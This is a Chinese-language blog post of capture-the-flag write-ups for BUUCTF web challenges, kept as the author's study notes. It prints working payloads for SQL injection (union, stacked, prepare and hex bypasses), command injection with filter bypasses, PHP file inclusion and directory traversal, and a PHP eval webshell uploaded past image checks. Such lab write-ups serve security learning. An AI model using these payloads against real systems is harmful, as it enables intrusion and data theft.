BUUCTF-WEB

关于一些业余选手的临时复健,包含BUUCTF里web的题目,边做边写写wp。

属于是个人整理,所以描述十分笨蛋。大量参考各位师傅的wp,希望下次我再看这些题目的时候我就会了(

标*的表示我要是后面有空还要再看看这道题。

[极客大挑战 2019]EasySQL

1' or 1=1#

[极客大挑战 2019]Havefun

右键查看源代码。get请求?cat=dog

 [HCTF 2018]WarmUp *

php审计。右键源代码,发现有source.php,访问审计代码。

include $_REQUEST['file'];:应该是文件包含。

file要满足checkFile函数的检查,要返回True才能获得flag。

把checkFile贴一下:

复制代码
public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
复制代码

打开hint.php,在里面发现了flag叫:ffffllllaaaagggg。

checkFile函数里面的三个判断只需要一个return True才能判断通过。

mb_substr(string,int ,length,encoding):php中的字符串截取函数,截取string里面从第int个字符开始的长度为到length内容。

mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = mb_internal_encoding()):用于在字符串中查找特定子字符串的位置。

  • $haystack 是要搜索的字符串。
  • $needle 是要查找的子字符串。
  • $offset 是可选参数,指定从哪个字符开始搜索,默认从字符串开头(0位置)开始。
  • $encoding 是可选参数,指定字符串的编码,默认为内部编码‌24。

所以这里是在$page里从0开始截取长度为:"$page.?"里面"?"在的位置的长度的字符串,也就是$page里面从开始到?的字符串。

三个判断:(1)$page在白名单中;(2)$page截取到?获得的值在白名单中;(3)$page url解码后截取的值在白名单中。

三个判断任选其一满足,因为还要读取ffffllllaaaagggg文件,所以用(2)

因为要在白名单里,所以$page的内容要可以在whitelist里搜到。

那么file要包含source.php或者hint.php.

file=hint.php+balabala

又因为file里面?前面截断的东西也要满足在白名单里,所以可以在hint.php后面+?

又因为在PHP中,当文件包含时,`?` 后的查询字符串不会影响文件路径解析,因此 `?` 之后的内容可以被解析为文件路径的一部分。

所以:file=hint.php?ffffllllaaaagggg。

这个时候没有报false,但是也没读出东西,所以目录穿越:file=hint.php?../../../../../../ffffllllaaaagggg

 [ACTF2020 新生赛]Include

 提示include,考虑文件包含,点开tips之后发现可以从url里读取文件。

但是打开flag.php查看源代码没有东西,所以用到php:filter去读取文件的源代码:file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解密。

[ACTF2020 新生赛]Exec

打开是一个ping命令框--命令执行。

linux的管道符:“;”:连接两个命令,A;B,无论A命令执行与否都会执行B。

1;ls

1;ls /

1;cat /flag

[GXYCTF2019]Ping Ping Ping *

也是命令执行,可以用get请求去传ip的值。

?ip=1;cat flag.php

显示过滤了空格,可以用${IFS}替换==>符号也被过滤了,换成$IFS$9可以绕过空格,但是flag被过滤了。

fla''g、fl\ag、fl$1ag、c=fl;d=ag;$c$d都不行,有的是字符被过滤了,有的可能是flag本身。

?ip=1;cat$IFS$9`ls`,可以查看到flag.php的源代码,过滤的确实很多,所以后来用了编码绕过。

?ip=1;`echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|base64$IFS$9-d`

(1)``:linux会将``内的东西当作命令执行,属于是内联绕过;

(2)编码绕过的时候引号不是必须项:echo Y2F0IGZsYWcucGhw | base64 -d,不用引号也可以。

然后发现还是没有flag,页面上没有东西,右键查看源代码,获取flag。

备注:

下图为flag.php过滤的源代码,可以看到过滤flag是按照顺序过滤的,所以可以:?ip=1;c=ag;d=fl;cat$IFS$9$d$c.php,也能获得flag。

 [SUCTF 2019]EasySQL *

参考链接:

https://www.cnblogs.com/Junglezt/p/16657688.html

https://www.cnblogs.com/bkofyZ/p/17566576.html

题目提示有sql注入,1返回查询结果,1'是空,1"报错nonono,我没看出这三者的关系,想再用and测试,但是and和&&都被过滤了。

根据后面看到的堆叠注入,考虑到是数字型注入(我一般用的字符型)。

or也被过滤了,但是||没有。输入0返回为空,输入0 || 1=1返回的是1的结果,所以存在sql注入,确实是字符型注入。

除了and和or,还用burp爆破了下,确实过滤了很多东西,但是我不会看(

看了下师傅的wp,sleep和extractvalue都过滤了,所以时间盲注和报错注入都不行,于是采取了堆叠注入。

堆叠注入是一次执行多条sql语句,中间用分号分隔。所以:

1;select database();  或者 1;show databases;

1;select table_name from information_schema.tables where table_schema='ctf';---但是这里的information中的or被过滤了,所以报nonono。

1;show tables from ctf;---from也被拦截了!!

1;show tables;---得到表Flag

但是show columns from Flag;from也会拦截。

看了下wp,去猜测后端的查询语句是怎么写的

猜测查询语句如下:

select $_POST['query'] || 'flag' from Flag;

在最开始的测试中,传1和任意数字均返回Array ( [0] => 1 ),传字母和0返回为空。===>猜测存在或运算

在自己的mysql 数据库里测了下,只有非0数字跟flag或运算可以得到1的值,其它输入会报错,在题目中的表现就是啥也不显示。

(0就是0,字母可能是因为不是个有效的布尔值,所以识别为false,那么后面的flag是false的前提下,前面只有是非0数字才能认为是ture,输出1)

 那么就要构造输入,使得显示出flag。

(1)输入*,1,在数据库里的查询语句就变成了==>select *,1 || flag from Flag;  于是获得了flag。

(2)用了sql_mode中的PIPES_AS_CONCAT。

sql_mode是mysql中定义sql语法和行为的设置,PIPES_AS_CONCAT是把||是为字符串连接符。设置方法如下:

set sql_mode = PIPES_AS_CONCAT;

所以payload如下:

1;set sql_mode=PIPES_AS_CONCAT;select 1

实际查询为:

select 1;

set sql_mode='PIPES_AS_CONCAT';

select concat(1,flag) from flag;//concat(1,flag)会输出1和flag这一列的值的拼接。

从而获得flag。

[强网杯 2019]随便注 *

参考师傅bp:https://www.cnblogs.com/dtwin/p/18196764

也是sql注入。
这次输入1‘报错。
输入select发现有过滤,所以先考虑上面的堆叠注入。
1';show databases;
再去查表相关的描述就返回空了。

前面用order by测试了下这个表是两行,查询1' or '1'='1,返回表中所有的数据。

所以猜测查询语句为:

select * from table where id='$input';

那感觉我上面查询表报错可能是因为我没加#把后面的东西注释掉。

1';show tables from ctftraining;#

1';show columns from FLAG_TABLE;#  ---->但是这里show三个表都报错

卡住了看了下wp。最开始报错是因为我1后面没加'

所以1';show tables;是可以看到tables的。

上面那一步没有结果是因为flag在supersqli数据库中。

接下来获取列名:

1';show columns from 1919810931114514;--->无返回值

在前面我用burp fuzz了一下,查看报错发现这个是MariaDB,MariaDB中的表如果是纯数字的话要用``包裹起来(其实不看bp我根本不知道这个

1';show columns from `1919810931114514`;  列名中有flag.

那么该从表中获取flag,但是select被过滤了,大小写绕过也不行---->看了下师傅的wp

(1)concat绕过:

  1';prepare aa from concat('s','elect',' * from `1919810931114514`;');execute aa;#

prepare aa from babala:把babala存储在aa里面,然后execute aa:执行这个语句。

获得flag。

(2)十六进制绕过

  1';prepare aa from 0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b;execute aa;#

注意前面添加“0x”。

(3)handler句柄:

截图一下师傅的描述(

 所以payload可以是:

  1';handler `1919810931114514`open as hd;handler hd read first;#

 也能获得flag。

(4)用重命名rename。

前面在查询表的时候查询到了除了1919810931114514之外还有个"words"表。这个查询的是当前查询在的数据库的表,所以上述猜想的查询应该是:

  select * from words where id='$input';

那么把words改成word1,1919810931114514改成words,不就可以查这个表了吗?

所以:

  1';alter table words rename to words1;alter able `1919810931114514` rename to words;alter table words change flag id varchar(50);#

要是我的话我只能想到修改名字,后面要把原1919810931114514表,现在的words表的flag字段改成id,还要把数据类型改成varchar(50)。

然后用1';'1' or '1'#查询flag。

我的天这位师傅好强,菜狗震撼。

[极客大挑战 2019]LoveSQL

 是登录框的那种,登录成功了会返回admin账号密码,失败了返回的是没用这个账号和密码,也会有报错的信息。

在username那里输入1' order by 3#,判断是3行,password要有输入但是好像输入不太影响。

1' union select 1,2,group_concat(schema_name) from information_schema.schemata;#  //得到database叫geek。

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek';#  //获得l0ve1ysq1

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';#  //获得'id,username,password'

1' union select 1,2,group_concat(password)from geek.l0ve1ysq1;#  //获得flag。

[极客大挑战 2019]Secret File

右键查看源代码,发现action.php,然后burp抓包发现了secr3t.php,是php代码审计,是文件包含,还有过滤。

?file=php://filter/read=convert.base64-encode/resource=flag.php

返回base64编码,找到flag。

 [极客大挑战 2019]Http

查看网页源代码,找到了个Secret.php,打开发现,说需要我的来源是xxx网站。

蛮简单的,第一步是改Referer,第二步是UA改浏览器,第三步是改成X-Forwarded-For,获得flag。

[极客大挑战 2019]Upload

是文件上传。

传了个包含一句话木马“<?php @eval($_POST["x"]);?>”的txt,显示不是图片。

把Content-Type改成了:image/jpeg,返回说我的文件里有:"<?"。

改成:<script language="php">@eval($_POST["x"]);</script>

它检测出这个不是图片,在前面加上GIF89a试试,传上去了。

改成php文件上传,会告诉我说:no!php!

那么搞到图片里:copy 11.jpg/b + 1.php shell.jpg---->但是图片上传上去他告诉我不是image。

所以继续接着之前的思路,我把上传文件改成了1.phtml,上传成功。

但是不知道哪个路径,所以我用蚁剑盲连接,当然没连上。

上传完之后在连接之前可以在网页里打开试试。

 那么怎么找到上传的路径呢?这个也可以fuzz一下。

常见的文件上传路径(来源:https://superhero.blog.csdn.net/article/details/132730485?fromshare=blogdetail&sharetype=blogdetail&sharerId=132730485&sharerefer=PC&sharesource=m0_61603889&sharefrom=from_link

我写这里也记录下。

file/
fileRealm/
file\_manager/
file\_upload/
fileadmin/
fileadmin/\_processed\_/
fileadmin/\_temp\_/
fileadmin/user\_upload/
upload/
filedump/
filemanager/
filerun/
fileupload/
files/
files/cache/
files/tmp/
logfile/
paket-files/
profile/
profiles/

 第一次爆破没找到目录,发现是后面的/被url编码了,所以在Intruder里把编码关掉。

 找到目录是/upload/,蚁剑连上,找到flag。

[极客大挑战 2019]Knife

 

posted @   荔枝白  阅读(19)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示